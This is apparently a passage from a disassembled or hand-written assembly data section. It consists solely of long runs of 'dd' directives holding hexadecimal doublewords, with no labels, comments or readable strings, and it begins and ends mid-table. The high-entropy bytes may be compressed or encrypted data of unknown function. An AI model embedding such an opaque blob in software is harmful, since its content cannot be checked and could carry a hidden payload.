0FBF4D4F0h, 7E0F3F20h, 800D3371h dd 9981CFEh, 1DFD00E2h, 0D9E841DBh, 8C0002EAh, 59A09C07h dd 3BFA1848h, 1100C42Dh, 0BCE5958Fh, 8700EE35h, 0CB4F83Dh dd 3AB3B83Ch, 610ED5E2h, 24C0F20Ah, 85EC5B50h, 0FC530E19h dd 2180E708h, 3824EA14h, 87EA401Ah, 0AF93D700h, 0C63D990Ch dd 0BE200021h, 0B8D26409h, 283B0ACBh, 10C0F450h, 0E6955481h dd 0F67E06EAh, 84EE2BCh, 0A7217C61h, 47FC955Ch, 3CB90139h dd 517D3D9Dh, 6B0106Eh, 702FCF9h, 0E42F63E5h, 377606Bh dd 67F457CDh, 0A9D84433h, 5D418FD2h, 1183BBBAh, 31C9C098h dd 0D62EDD88h, 8A53933h, 0FF2100ADh, 6D2AC9B8h, 70DF034Ah dd 97028B00h, 19554B41h, 0D0A0D5D3h, 0FB36106Dh, 0AFE100CCh dd 0D8BC4CF9h, 9207A142h, 0E0B081C7h, 5D87F590h, 4798C16Fh dd 0CCE193F6h, 0EDF88167h, 0A818916Ch, 7BF5F5F5h, 2133108Eh dd 1334C6C0h, 0F7781FF8h, 4AEA9400h, 0AD0CD26Ch, 0CFB8001Bh dd 0EEC02763h, 9303F0D6h dd 0B9A6EA31h, 4C1900C2h, 3068DAF3h, 6D4A22D6h, 47D36180h dd 0CC20C059h, 0B195A4DCh, 4121910Fh, 18014C0Ch, 82C6C7Bh dd 0C7072E48h, 0B7083179h, 0E6DD98F0h, 0E7E8004Ch, 122BF419h dd 4E068DCEh, 3FD8C799h, 0D7903039h, 0BCF3F141h, 0C1D05600h dd 8FAF721Dh, 0E68700EDh, 0AA685DE1h, 0AE019267h, 0B4DEC4ECh dd 9180CF4Dh, 4F237DBh, 2D447C80h, 7009EC72h, 8E9B0018h dd 4D29B3CFh, 0B606427Eh, 0C590F576h, 12030679h, 20D4E152h dd 258BA001h, 0CE592A8Ch, 1DE0C003h, 110F991Fh, 3AF646h dd 47AC967Ah, 592F0667h, 0E0332851h, 582A890Ch, 51639D1h dd 5CACBC21h, 0CBB80082h, 85C2DA52h, 96A8F907h, 0C940A20Eh dd 509ACD94h, 0E8AB8CC3h, 16200D7h, 5B7DA5Fh, 0C200E1A6h dd 97CB1ECAh, 3A05E1Ch, 29DE574Ah, 0C1C8820Dh, 46181DC0h dd 3428D0D5h, 0ECB30043h, 455C4283h, 9C00D333h, 5354CD1Ch dd 0D58632h, 0F075A607h, 9A371ECCh, 0B3E5F503h, 13A7BFCh dd 1F089C20h, 4E44CD27h, 85241120h, 0E2432099h, 5F1DE600h dd 1CA0012Fh, 0E7BCD734h, 8103F8F3h, 1BD3300Ch, 0C09008D9h dd 0F3EFC121h, 0CF318C38h, 0C92CB80Ch, 0B53400F2h, 0CD0C6508h dd 60140F64h, 0DD961805h, 0D3ACF0C1h, 8098891Dh, 1FF730F0h dd 25272818h, 28FA2294h, 0D7534718h, 0C0156471h, 0DCE09C08h dd 0A6F2E1FAh, 90289300h, 0D68F08C9h, 63120C4Eh, 0A28332Ah dd 6427340Ch, 3C3918h, 0AAF48A5Ch, 9DA07390h, 212009CCh dd 8A8400DCh, 0E248A895h, 41000BF0h, 3446D689h, 0C129C76h dd 75F1D76Ah, 14001C61h, 0CDFC5D1Eh, 3318C0BBh, 190813B5h dd 268F2107h, 3F80965Dh, 1F22EE36h, 4FC1B379h, 0D1827342h dd 956332A4h, 4B6A37C0h, 507F8C0h, 1E9E44F9h, 0A220CEF4h dd 90E8AB64h, 0EFD44801h, 2C95D06Eh, 0BCE4D12Ah, 462F400Ch dd 4FE484Ah, 12A0BFB5h, 90580E32h, 8DF71700h, 5B7C92E2h dd 7D40FC64h, 455E5720h, 2B48980h, 47749EBFh, 0C4A0A754h dd 60A9AE05h, 5C147092h, 64F031C7h, 4487BC50h, 888F30BCh dd 1900601Bh, 6E3011E9h, 18DDE4F1h, 209EBCEDh, 4F0A9148h dd 0B4CC549Bh, 0DE87C81Dh, 3EB4FCCDh, 0E19E5C90h, 1ECB2865h dd 74CC21C0h, 55D1F89h, 0C0671364h, 27748058h, 2E2C815Dh dd 0ACE8B900h, 47CFDF20h, 904405FEh, 38BB499h, 4A4B3EA8h dd 929EFCC1h, 68065410h, 9A92AD0h, 0ECE29CA1h, 7700582Fh dd 405A58F6h, 5038D006h, 6008E048h, 0CE0921D2h, 0EB1F1D53h dd 0B80A489h, 7FB53077h, 32C61FE2h, 81990DC9h, 0F2D888A9h dd 5D1D6075h, 4348CDE7h, 258EE02Ch, 0AEB8145Dh, 8A07A012h dd 0F5FCF43Bh, 6E8A0148h, 209BF97Ch, 124044A0h, 436B011Ch dd 98C51BB5h, 0CF8091B7h, 0B9D9EC18h, 36009B3Bh, 564CE82Ch dd 158B815h, 558FCAE6h, 0E243B1DBh, 86201AE0h, 0C44AF0A8h dd 0DDCEB91Ch, 15897842h, 451C4CFAh, 0F03026CFh, 2441ABFCh dd 38D599h, 0E4FF89FDh, 1B00B753h, 8246EA52h, 0E955473Bh dd 0C5418310h, 7830DF6Fh, 0F94E85F0h, 0CDD1E841h, 7341E987h dd 0B788F0FFh, 430EDA9h, 1484189Bh, 53449247h, 1FA2CC86h dd 2BC8F30h, 195DCA5h, 28418728h, 9ECB404Ch, 4C988218h dd 57022646h, 0B8AAF98Ah, 0DF102F31h, 0F6008A5Fh, 52879E5Dh dd 0A1A73716h, 0E51885A8h, 310F308h, 0EDDB70D1h, 99ECF324h dd 12200C28h, 1589771Dh, 0D8D457D6h, 30AAF22h, 0A469B946h dd 9F79E820h, 541AC83h, 4177AD46h, 91E38110h, 63180C58h dd 0A6B1C12Dh, 30162901h, 26DA2E59h, 0EBCF2BC9h, 813FD292h dd 1E097FC4h, 3AA66091h, 8C9DA103h, 0B620F482h, 38BE6F89h dd 2E078501h, 82161FCEh, 7899AB71h, 20BC83ADh, 2E3105C3h dd 8972BC0h, 0E1C3619Ch, 0F103B1F3h, 0DF88B418h, 11F301E9h dd 0D04C32BFh, 8FE5FF63h, 0CB298830h, 12857501h, 1970CB54h dd 6042443Ah, 0B217CC71h, 3F11DFC9h, 7350AA0Ah, 0B6465C5Ch dd 8052481Ch, 0F8890F7Fh, 2B264C2Dh, 4680AC11h, 1ECD0858h dd 3E47F8C9h, 540083DEh, 11B56138h, 4828D118h, 6200A4A2h dd 0C9ED5249h, 0E041FABh, 50541D8Fh, 0C6DEEF0Eh, 40D8DA84h dd 0EA96070Ch, 22B5814h, 518A1D8Eh, 0D4603F3Ah, 18B2EB4Ch dd 0B7C46885h, 0AC8DE460h, 94A9F01Eh, 2125C20Eh, 0A02CF9AAh dd 742A882h, 60C34CCEh, 0D2940CFBh, 0A8A040E4h, 0D1A9A3B7h dd 2CCE48h, 62718AB5h, 1FFBB419h, 34E70196h, 0E9F88248h dd 858F730h, 39E84059h, 1440E564h, 721953CFh, 0D135C405h dd 4804B4CCh, 8164622h, 242CD7CCh, 0EB18FB74h, 24F2EE1Dh dd 0CB08DCEEh, 7F990B13h, 496B9804h, 6D841064h, 5A412C33h dd 0F9360E74h, 69AD4A01h, 631C7059h, 11D69504h, 8343DCh dd 5CB100BFh, 577CF7FFh, 1430F998h, 0EFD718A7h, 0E438942Ah dd 0F4AB011Dh, 84249DFFh, 359E1403h, 0C903B007h, 845A245Ch dd 5B68A809h, 417C4E1Fh, 11200FB1h, 492CEC3h, 0FDEE10Ch dd 573FAFCDh, 8D184056h, 49340BC0h, 5D80CC18h, 88AAF38Ah dd 0DD21448Ch, 1E8A8500h, 0B04C102Eh, 0A6371E31h, 0B75589D2h dd 60835404h, 2612F3FBh, 70B4E103h, 0F32EE3DDh, 4F1154DBh dd 61A70077h, 0D562E7A0h, 1D005B04h, 0B5DC91E2h, 94AD1B05h dd 0C9CD0888h, 4674742Ch, 56D80B1Ah, 0E0FB0FBEh, 39C9ADF3h dd 0F94A2CDh, 843128DCh, 906BD017h, 0BAD4F25Ch, 6403BF0Ah dd 3E808828h, 37F3510Ah, 184700AFh, 17784C6Bh, 0DB38C7FAh dd 28C81F8h, 0D251A1A3h, 20566084h, 1C68D4A8h, 896786C4h dd 1C1C519Ch, 4AE2084h, 0B1BDC840h, 492F14BEh, 5E23B067h dd 13F3BD3Ch, 6C380903h, 0F3EE00C2h, 996612AFh, 954CE910h dd 3B83102Ch, 4E9E890Dh, 0DB8C4179h, 1D199223h, 49A0009h dd 59602410h, 0AA26F78Ah, 0D970DC68h, 978A1B61h, 11CA507Ah dd 2B6303h, 5F980A21h, 0F530FF75h, 0F481420Bh, 44B0881Fh dd 0E34C3502h, 21000B2Dh, 20F4228h, 3F0C1B4Ch, 2338CCABh dd 58F501E3h, 18F8405Bh, 0CD0A88DFh, 0F015314h, 42AB03D3h dd 1F31B657h, 14CBFE50h, 2EB87498h, 16A028Ch, 6E374098h dd 17180458h, 7879D5CBh, 34365007h, 0D2703CB5h, 9453448Bh dd 74E8FC28h, 74138F46h, 0AE541E07h, 5B4A8498h, 88848E2Ah dd 25A1C01Bh, 0D50F5A80h, 0A0BD2E58h, 998C207Dh, 0B0D748DDh dd 8C19F8h, 0C1CCF4C4h, 44B15710h, 427F9003h, 0DDED1DDBh dd 0E049904Eh, 0C36FCE33h, 9D9F051Eh, 80C1893h, 0F3C0EDF0h dd 21405D58h, 0DC9138C8h, 53CB0800h, 6DD67E14h, 16DDD900h dd 8987F692h, 22C919Dh, 255B6433h, 0CA515220h, 8012FE2Fh dd 0D363CE17h, 89061951h, 0ACE4485Bh, 50A068Bh, 2127D12Ch dd 0E3D17899h, 0C4057818h, 0D44960Ah, 1291D4D0h, 1574B345h dd 0CF9FB4CDh, 1B48E05Dh, 73401DC4h, 61A25D1Ah, 8042313Ah dd 447E3ECBh, 9164A88Ah, 0D124C8h, 0B61B3793h, 0E93A1463h dd 74388042h, 0A11926Fh, 0B28A0B27h, 0A490CF17h, 0E677DA86h dd 0DFE0FC17h, 18F5421h, 1D43B007h, 7A1D35A3h, 0A0A8CA1Fh dd 88074B00h, 0D6251363h, 0B355004Ch, 0C1D5A096h, 0CE170AC5h dd 0A0271690h, 0A500EB04h, 8220B357h, 48B2B0EEh, 217114B9h dd 530E9518h, 811E6144h, 0F841EBC5h, 284ADC60h, 2A8FD7B5h dd 19C4475h, 68F9723Ah, 0C84B210Ch, 7B039D07h, 93D143A4h dd 0FA0EA9F1h, 3180C471h dd 7174CEE8h, 421A48AFh, 80186664h, 86020E8h, 8129D3FAh dd 482608h, 0B9798107h, 0CB80BF30h, 0C950AEA6h, 601F28Bh dd 4A97336Bh, 4180D4EDh, 0EB680CBFh, 0FC18F361h, 7919CBECh dd 8960048h, 0F00B9725h, 6613A63Bh, 0AC30B75Bh, 7C08D2h dd 0DDE64567h, 0F147981Fh, 0D496AC1Eh, 0B5FAFB00h, 0DB1DA2Eh dd 1063B309h, 1C043039h, 531EA5EEh, 0C180B433h, 208C1B13h dd 93DFA93h, 4DD35425h, 839D9C0Fh, 159ED2E6h, 68CF84C9h dd 0C1030098h, 8A1BB51Eh, 9844384Ah, 2C8EA9Eh, 83120B52h dd 0C60111E0h, 0BC20F8B8h, 5D6C1A9h, 219C3EC2h, 99EDB0h dd 0EBCB86h, 0F8180B53h, 0ABA272D6h, 9ACDEF00h, 6F9975BAh dd 0F9D70784h, 1065D197h, 7CD46A50h, 0C6389A0Ch, 0B63887h dd 93803620h, 71F32119h, 73EDCA3Ah, 0F0301A70h, 0A1C66061h dd 0D78D0157h, 0D0A3888Ah, 0E79BA71h, 0E041BADDh, 0D5D76962h dd 1F0C7443h, 34E363Bh, 0F81D04A4h, 0FC094800h, 3C72D3B0h dd 0D00600DFh, 0F02454C2h, 89EE8C79h, 0A496FC00h, 515560ABh dd 0C18C11Eh, 80AF8E33h, 0A819E9C8h, 61D70349h, 46180AAh dd 93618009h, 2E1781FDh, 0ACDF002Bh, 30105433h, 0F803D2C1h dd 0F1E032BBh, 52D0C927h, 0B2C19Dh, 0ABBFE63Fh, 22176A9Fh dd 830F0ED8h, 8C68DDC0h, 4A777600h, 5BC21D81h, 0F4E5008Eh dd 0BF15C1FBh, 0DB3002DEh, 75088007h, 0E559D467h, 40864318h dd 0A4A8ADFFh, 7E00DF31h, 10B87030h, 65094Ch, 213DCE41h dd 5C75055Ah, 6DE141C0h, 78C9D0B5h, 43F32402h, 0E09900C6h dd 72D75605h, 0CE220400h, 679BC34Fh, 455D0B69h, 7C040B58h dd 709FC39Fh, 71623CA0h, 0B97BCC00h, 6F2053EAh, 86B6612h dd 521D2196h, 0A00F7B44h, 0EF8D2033h, 0E41682h, 0D9C0EC50h dd 173E18EAh, 85952306h, 389174h, 0FA9DBBAEh, 0BEEA24DCh dd 5D485503h, 0F0F223Eh, 0B8EE1120h, 926B1C00h, 0AC0DC7AFh dd 4874F62Bh, 0BD4878B0h, 1F014DD4h, 3BB4B957h, 2086DC5Eh dd 0A16EE2E7h, 79170B00h, 0B21BB4B1h, 220CFDBh, 38E74183h dd 431C4903h, 9065B6B0h, 0C6BDAB4Dh, 206B5109h, 0B0B2FC00h dd 9DCAE8ECh, 5658C09Eh, 852D97F6h, 0FC1F5000h, 3FC88844h dd 5F861DECh, 4BE1437Eh, 5E147FEh, 0F7788073h, 0CEE29148h dd 0F0976FB9h, 71E1D220h, 820344EFh, 95517A2Eh, 0BD84D8FBh dd 7577DAh, 0E7105820h, 0EFAA67F7h, 1CAE8503h, 98D1A81Bh dd 1D53D0ABh, 1EC0BC6Ah, 0C8FD0EC7h, 0C0529187h, 0C24FE92Bh dd 0BD87AF01h, 627AAD49h, 1885CCEDh, 0BB8C42ECh, 71C3F487h dd 0E7DCC0EBh, 182EF0B1h, 28E6402Ah, 3018C853h, 456052FEh dd 0E80903D7h, 28175808h, 1E0A92D8h, 38C3C400h, 95E3660h dd 0C62930D1h, 0C2CDC030h, 0E128DCh, 0AF81304Ah, 0F03FD17Ch dd 0E3C01941h, 6EC0A678h, 0D1B468ABh, 0BD2F631Ch, 0F1EB1900h dd 9B0142EFh, 1BC105C5h, 0C17D75Bh, 68F67A4Ch, 0EBD2C0C3h dd 85B87CA8h, 405FB5C4h, 0C9F64754h, 410E017Dh, 6BECFBFh dd 1F202E48h, 2120753h, 5DAAC781h, 0DC7A2940h, 2396220Eh dd 8536266Ah, 82BE03B1h, 3B2BD0ECh, 0F77B54F0h, 6D0C6198h dd 51D5FD08h, 31AE6036h, 0ACB13862h, 6EC17901h, 3EDC7F40h dd 0D816E8h, 912102Bh, 5DA7876Dh, 78393030h, 21AEEEAh dd 6426A1B0h, 0A0825713h, 0EC20812Ah, 0A0F7FE4Ah, 0E23398h dd 0E0536122h, 0D341872Eh, 9BC08007h, 0B050D588h, 61427109h dd 6228797Dh, 2484EA65h, 7786405Dh, 2B036D5h, 28532A5Bh dd 0EC80B1BCh, 431152BAh, 4CD849h, 1AECA1E0h, 19CB66CFh dd 89641AFh, 0E2C240Ah, 5BECC800h, 1F48D39Ah, 33BE7961h dd 0AE41D251h, 0C09698E0h, 0B04AE809h, 0AA1801FBh, 0D8505852h dd 0F19FDF0h, 92A23146h, 8174B784h, 24B5BB00h, 2037C744h dd 808B712Eh, 0EBCA6EF0h, 0DC8F0CB3h, 5F086BF0h, 129421C0h dd 0BCE86Eh, 5A601C7Ch, 482377B0h, 53CF40h, 0E99D044Ch dd 5056CC26h, 9F781C62h, 0C0B90CC1h, 5DF23E0Ch, 0F0C5B0D2h dd 0F42F52C9h, 15A68B00h, 76AD241Ah, 9D2C2B19h, 2183D708h dd 915BF11h, 0E8CAE588h, 808E0E3Fh, 4507A7E2h, 487E6039h dd 5B015C71h, 0F69022DFh, 0C7F08358h, 26D52604h, 0DB5410h dd 0F34974E7h, 0C80037D9h, 0EF2F1BEh, 0E2CC56AFh, 0A970577h dd 803F898Ah, 0D382F28h, 3051843Ch, 0E6F7183Bh, 520DE8Dh dd 7870531h, 0A0D82818h, 0A22EC772h, 2F000FECh, 188E9D03h dd 79E9A8h, 171B43DDh, 87C3627Ch, 0C9EB2000h, 0F07F245Ah dd 0BD7001FAh, 75409121h, 1144F1Ah, 3C54889Ch, 99805E91h dd 8067DAE9h, 0DF0C7E1Ch, 0B1E3F68Bh, 795F0718h, 0C1E5A217h dd 413C2D85h, 83BFD0Ch, 55218649h, 0C4351029h, 512205B1h dd 7AFEC021h, 388849BBh, 3F03E6B8h, 28EFB3Ah, 407E0FA0h dd 0C1C1DEA1h, 58218063h, 9ABA81D0h, 0A685328Ch, 37C2BEB1h dd 900FB020h, 720FD0E3h, 177F60Dh, 62D14B0Bh, 0C66E8E0h dd 0CBB83971h, 4C780851h, 874BE28h, 0C1224B78h, 47500FCCh dd 505A61Ah, 9BA00372h, 7975E262h, 0FFB75E01h, 7742E5A5h dd 6088AC50h, 8D4706B2h, 99B7C38Fh, 0ADC0C20Bh, 7E0D03CEh dd 307DB867h, 2CA034Fh, 2DC9A3FCh, 0BF057AE8h, 7B203D48h dd 0A80734EAh, 945BAB1h, 546B423h, 7EFE4078h, 5CA00A2Ch dd 0D701BE98h, 0D478294h, 2009C1E3h, 0DF01A7E9h, 1892BF35h dd 0E0DF8D0Fh, 3EFCF8C8h, 3A073725h, 70E76CF6h, 0AC7E9A81h dd 0FBBC8000h, 860B7958h, 9084ABCEh, 0A065CCC5h, 4A19D1h dd 88F54B25h, 311A0CF9h, 635D590Dh, 92E4B841h, 0FF8D0362h dd 186C523Dh, 39ECD1C8h, 0E4E56429h, 3837350Eh, 387D9A30h dd 231FAD5h, 302461E8h, 282404BDh, 0E4055CE9h, 0F020B366h dd 90074ECFh, 38622BCh, 0AB438h, 0D5ECE65Eh, 49B9105h dd 0ECD4A98h, 28A008Ch, 0C2A4D2BAh, 89113A98h, 0C076E881h dd 77BFE48Bh, 0A57B3E07h, 0A2C3AD39h, 3AA6B122h, 9052F0h dd 4153AE18h, 160A5D0Fh, 0A706657Dh, 0FF320CF5h, 216A6008h dd 7916A272h, 8814F400h, 3CBD9950h, 0A9CC043Ah, 80D08E53h dd 81015505h, 199AD430h, 0F5276B7h, 0A4BD9541h, 50980B2Eh dd 8EF41C2Fh, 0BA01B33Ah, 1F699D56h, 4C213B18h, 2A950C14h dd 0A281A917h, 8CFAE803h, 0D8797D91h, 1FB6E7B8h, 40E5C7EFh dd 0FBE216A7h, 0AD001C3Ah, 38965B82h, 6C12B90Ah, 0F59183Eh dd 0C0A3F8C8h, 3A7016F9h, 5022EF46h, 16117B0Eh, 0E0D9EFEBh dd 470EFB3h, 0D806FF1Dh, 63D0E46h, 71B38C04h, 2723321Eh dd 5195B07Ah, 8F00E1EDh, 7715DD80h, 0C0591662h, 0D7D54F71h dd 4577B1D8h, 273C1300h, 0E8446624h, 36350148h, 203FD028h dd 0BD308E55h, 0B865C1F3h, 41F2D8D1h, 1FF03758h, 20566058h dd 0E466E153h, 7BC80D01h, 4BC03FC9h, 21640898h, 0E4707E8Fh dd 93B18806h, 195F5Dh, 0AF5B3FBBh, 0D5C02EA2h, 1AB84C01h dd 81D4AD51h, 0A0A4BB20h, 0A942A8h, 3AFC4A06h, 0A1E932Ch dd 0B7E12B0Fh, 8B2020F6h, 0E69C5F5h, 0C4F2ED02h, 79651740h dd 0E8002778h, 0DB5B19B0h, 9DA680h, 68AD8975h, 0A2014EAAh dd 9CC24500h, 6606BCD1h, 27A3009Eh, 0CA4638D3h, 0EC3DB910h dd 0AE280762h, 5120B522h, 3632E8h, 0EDE12C17h, 0CE38111Eh dd 90A6041Dh, 9BBB0347h, 0F8E6FEA3h, 12740BC8h, 28EC624h dd 10CF1997h, 0E99040FFh dd 80466A6h, 5A0021B2h, 34C0CF02h, 77DDC319h, 6F5C00B1h dd 17B35B61h, 500080Dh, 16F222BCh, 188F19FFh, 18AC039Bh dd 0C8069681h, 0DE8C3E8Eh, 7D1F1850h, 0BEC6081Bh, 7BE39500h dd 179A26EBh, 7940D81Ah, 8F0CFC1Fh, 11C307F8h, 7DF300A6h dd 49D65BF2h, 4E664524h, 221C208h, 0C77DF031h, 6AE06335h dd 50DE2DCEh, 717C84C7h, 8D2E560h, 0CFCB1877h, 1FF3A0A0h dd 3A6C0118h, 3D1D8E90h, 0BF8081FBh, 641AA4EBh, 37E8A363h dd 0EAA821C0h, 0C915A81h, 0E608C84Ah, 0CA3D5419h, 0B8706C6Ah dd 0EE2A186Eh, 525B1021h, 0D613721Ch, 8A07B3EEh, 0D7E00918h dd 0F82B150h, 7E3401EAh, 3FB33FA5h, 3361E004h, 174730C1h dd 3C84AF11h, 0D80020D6h, 68A2D6Fh, 0A17C0Bh, 0DA414B6Ch dd 0F0AFAD48h, 19C86503h, 11381DA7h, 11A22F29h, 1421A66Bh dd 423B2238h, 0C4A33833h, 276444B8h, 0A9373C44h, 0BC12BF3Ch dd 0B8AE1487h, 0E7003B91h, 639E99A2h, 197CEC20h, 31941F00h dd 5A0AED03h, 8F040057h, 7379DDFCh, 6916D311h, 0C700ADEAh dd 0DCEBF06Fh, 58BA0017h, 0E9835984h, 29844CEh, 47AE1D00h dd 89AF28D2h, 805F009Eh, 0D09BB4A7h, 49E466C7h, 407B48F0h dd 36C34701h, 122BB052h, 76A4CCh, 0C5DA3DE6h, 0E1CC5EFCh dd 2763AC00h, 10136206h, 0C1A6007Fh, 0ADF5B8D2h, 2A37AE5Bh dd 0FB010C4h, 5536F4Eh, 849117A3h, 0DE040D4h, 9C940176h dd 0D5AF9D00h, 10A00571h, 332107CDh, 805C781Eh, 0C69B2FC5h dd 82E77E00h, 803DD89Ch, 79BD1CC4h, 2D83B9D7h, 0D3409583h dd 61DEBED0h, 34E01400h, 7822AC74h, 0D6C0002Fh, 413A1B86h dd 0B5FADD43h, 0AFC3DF00h, 20521129h, 399E3091h, 0E21FF899h dd 4C8AEE1Ch, 6D1687C0h, 41184Eh, 0E3AA4D38h, 0B1D53176h dd 0E0CC400h, 4A41CC8h, 0FCC038B9h, 6C791307h, 0EBFD20F9h dd 87070BD9h, 0B1BD61BFh, 0D8ED5210h, 2CB71D72h, 47360004h dd 0E54A1B20h, 18280803h, 0F96687CCh, 0B3CB3E83h, 93C3E462h dd 0E8F78377h, 0FC45B6BEh, 70060FEEh, 60E09912h, 0B4D471E0h dd 4223801h, 58F123FFh, 0F463ADFCh, 0FC6D01DFh, 532E0342h dd 32A1F005h, 1D1F19ECh, 971C20D7h, 0B5F93BC0h, 1C35FA88h dd 309D1Ch, 0CA630A0Ch, 0E1015977h, 0C0408FEFh, 9960FDACh dd 0F95800AAh, 839291B4h, 0C400A493h, 4B52BCCFh, 283F78D4h dd 0AC94FFh, 0EBD7094Fh, 6D606CD8h, 0E11A5A1Dh, 1375DFC0h dd 0ECB6789h, 903DC94h, 18CFEB20h, 0BE053D32h, 0E4D2B981h dd 4C83C401h, 5BF8C79Fh, 49600E5h, 0C497D57Ah, 850E0AB7h dd 70D3ACCh, 3570644Dh, 0FCBD1411h, 17E7F16h, 0BC588DDFh dd 0C8B0E491h, 39EE833Dh, 1F27C900h, 0AC46EBE1h, 97AA0099h dd 85033C73h, 42308ABBh, 0CBE31094h, 8DF600CCh, 0BFD3AB57h dd 454C9A28h, 88B401BCh, 4DE65971h, 50350EC9h, 3CA1B7F0h dd 0FA00B54Eh, 875201D8h, 0A9489611h, 8BF20124h, 289AB973h dd 1908C62Fh, 10557C02h, 40DEF765h, 0C0B53F09h, 5A471F18h dd 0B004A05h, 0C7A42ABCh, 0F0DA8Ah, 16630792h, 24A7462Bh dd 3075DC00h, 9374AD95h, 73320034h, 0DE0C8714h, 960023CEh dd 7FA13C2Dh, 0D56BF1h, 0D402CA47h, 0BED62FFBh, 0FE22E600h dd 7F90F503h, 35CE075Dh, 0E7151F85h, 190C60BAh, 0E8C99746h dd 0E0190EA4h, 7FB7922Fh, 38F70055h, 4473D9F3h, 0D7000876h dd 4F21FC2Bh, 7203C88h, 0A9A7232Dh, 0D322A3B2h, 5FD118C8h dd 8E7F641Fh, 41501E01h, 0A7615A83h, 821FDCh, 57667122h dd 43B0C27Ah, 7D5FAE00h, 4B8342DFh, 0D82200BEh, 0F5A4E7B3h dd 57EEB739h, 3A979905h, 4C15037h, 4CF8DE9Ah, 745800DAh dd 0D1136EAh, 0B09003D5h, 758064Ch, 1A285DCCh, 0CEEE8350h dd 349D0489h, 0C385C2D5h, 3580E6EBh, 20EFB46Bh, 193FB71Ch dd 3DB3D38h, 73EEB8C6h, 739E7893h, 1C909Ch, 0FFDF69B5h dd 63F2CFABh, 0D7D90A02h, 4089FAF5h, 8C4B18h, 0B452B76Fh dd 0E1D698EFh, 680359h, 9E5B1F04h, 2444D4h, 8A6983CBh dd 8C5E8286h, 40CDE600h, 181C2803h, 10F71826h, 847D3896h dd 7A1C8092h, 47133CB5h, 78C27800h, 0F20F5Dh, 0D7CAEE4Dh dd 97613DE7h, 2060FEF7h, 0EA18B06Dh, 0A7E0C9A4h, 0ABF60067h dd 2B7641DAh, 552EC263h, 0E1005102h, 31E969C0h, 0DB0D012Dh dd 95A7F9EBh, 0FF26F88Ch, 0BA00D070h, 9239AF12h, 77ECBF27h dd 649800A9h, 7586C87Ah, 0BD797E03h, 0D800F492h, 857BCCDAh dd 0A70DE5h, 0DFEC4C7Ah, 0E070AE25h, 0EDCF0100h, 481DA2A9h dd 3F8E82Ch, 807B44ADh, 0C8A833FEh, 540070E7h, 98AA94F5h dd 2224EFh, 593914BCh, 0BD476809h, 0DD27A00h, 0FC30D0C6h dd 35FF007Dh, 8D66950Eh, 72002B1Ah, 535D5A80h, 462070Ch dd 8226E3DCh, 940783A0h, 632EC000h, 73EA052Ch, 0C5520042h dd 593715AEh, 5700FED8h, 262CC9A5h, 7561FA14h, 28FC0084h dd 299D0263h, 0AB00368Bh, 7EB6040Ch, 7CBA77Ah, 1A6316CAh dd 9E68A02Dh, 800006B2h, 252E86C9h, 0FFE7B9h, 67373B69h dd 0CBCF4F2Ch, 441F3E07h, 0CD430CCAh, 0FB8F8085h, 884D00B5h dd 0D227D0E6h, 101EA4FEh, 0C3008DC8h, 0DE606643h, 0EE7985h dd 81CCE045h, 18D83F80h, 0AC6CAB0Fh, 6B30C05Bh, 144A99Bh dd 785797C0h, 0C8995A67h, 0FB005877h, 0BB84964Fh, 65D6F0h dd 0C3BE74A6h, 204BFAC2h, 190079E4h, 0B670D787h, 265761F3h dd 189884h, 2BFE327Ch, 1F00AAE7h, 212FADC7h, 988B2C5Bh dd 0A0A47150h, 17D4E6h, 14F854F0h, 7A61DF0Bh, 3857893Bh dd 97C9002Bh, 6616E7ACh, 4E14CA6h, 6B588200h, 2810E562h dd 1D7AE300h, 71498BF9h, 0B2CF1884h, 0D3B1F8D0h, 6B079492h dd 0EC2772C4h, 0F30F430h, 0A358CFD5h, 0C1C2F40h, 0C91D408Eh dd 44005637h, 0B1492194h, 66AC0012h, 0F45498A7h, 0C2021896h dd 0A86EECE4h, 194CC0A5h, 405831h, 39970F00h, 7E2CD62Bh dd 25130600h, 0F0D29B98h, 0B71D0060h, 59CDC391h, 0EC1DA7D5h dd 6301B974h, 835D04BDh, 70C420h, 566FBAE3h, 0E2E734AEh dd 93E6910Bh, 0F178801Ch, 228196h, 0DEED6502h, 58BD1FABh dd 0A8C5C903h, 98C28AD2h, 30C7692h, 32A451AAh, 0D1F01044h dd 27007B83h, 0D869DFAh, 0D5A19Fh, 0BDF6FE90h, 8079156Bh dd 838EC600h, 0D6E08D5Ch, 10E10092h, 7338C303h, 4700EBC0h dd 635ED20Dh, 0E763730h, 4E9736EDh, 5C93427Dh, 68610FFDh dd 5B5460D7h, 9B105807h, 6B0EA4Fh, 3BDD7366h, 0F401F538h dd 898DACBDh, 7083F1E1h, 0ED7DF8A4h, 605A0100h, 3F485ECh dd 0B34B0014h, 7DF75ED9h, 5F002D27h, 2028D577h, 9AF464Ah dd 0BE0024Dh, 6CA890A0h, 0D801C65Eh, 1D22F9EAh, 0B706697h dd 727300C9h, 0CC289006h, 181F94C1h, 5BC0EB36h, 42F3BFFBh dd 0B01D0023h, 9FD9EA1Bh, 0A0070C68h, 998D18B3h, 0E0F9EF62h dd 98F390h, 4B6E0411h, 0D7FB6319h, 408A136Ch, 7FC01ECh dd 55A8F6CDh, 0F9BB2014h, 42565904h, 48907BC1h, 18E0DC3h dd 0A0B8443Eh, 0DC9E2E68h, 1217BB6Ch, 300D4ECh, 6BEF6164h dd 44B888h, 0CAD8F17Bh, 506F8FE5h, 0DE00BCF8h, 7CA21AD0h dd 90AE61C6h, 0F3511048h, 2BA380F8h, 977103Bh, 528544CAh dd 2862E400h, 0DD05FD88h, 0BFB6BA45h, 38122280h, 14C004Fh dd 28696779h, 1A12C766h, 0E80B9E45h, 7072001Dh, 595385h dd 76AD6C9Ah, 0DC38643Ah dd 0B3470D0Fh, 0A7C360D7h, 0E34804h, 0EA538F22h, 6B644A2Ch dd 9F28C77Ah, 54E0942Eh, 1BF4100h, 943DD98Dh, 674E5C6Dh dd 5CF62000h, 9D98A8B9h, 2351F900h, 0BCC13CCEh, 6F752Bh dd 11F46221h, 5DA2A0D9h, 0A4003AE8h, 9CE615F1h, 625A1B0Ch dd 8DFE5EF7h, 84E5B880h, 34E63A21h, 4A41800h, 1D19CE6Fh dd 10AF0FC5h, 97C35231h, 210091D6h, 23990B41h, 3FD5C68Bh dd 8180F360h, 0B3FC2C3Ch, 5924744Bh, 0BF0724E0h, 0B260E6C7h dd 79E4C3h, 3171CDBDh, 0C2BB9FEFh, 9AA39113h, 0D2094100h dd 0E9219C0h, 0EC1BACB0h, 0CE6135AFh, 2057A61Dh, 0D266DE1Ah dd 788C38h, 4F9E442Ch, 7A39D438h, 3A0E3894h, 0B31EBE0Ah dd 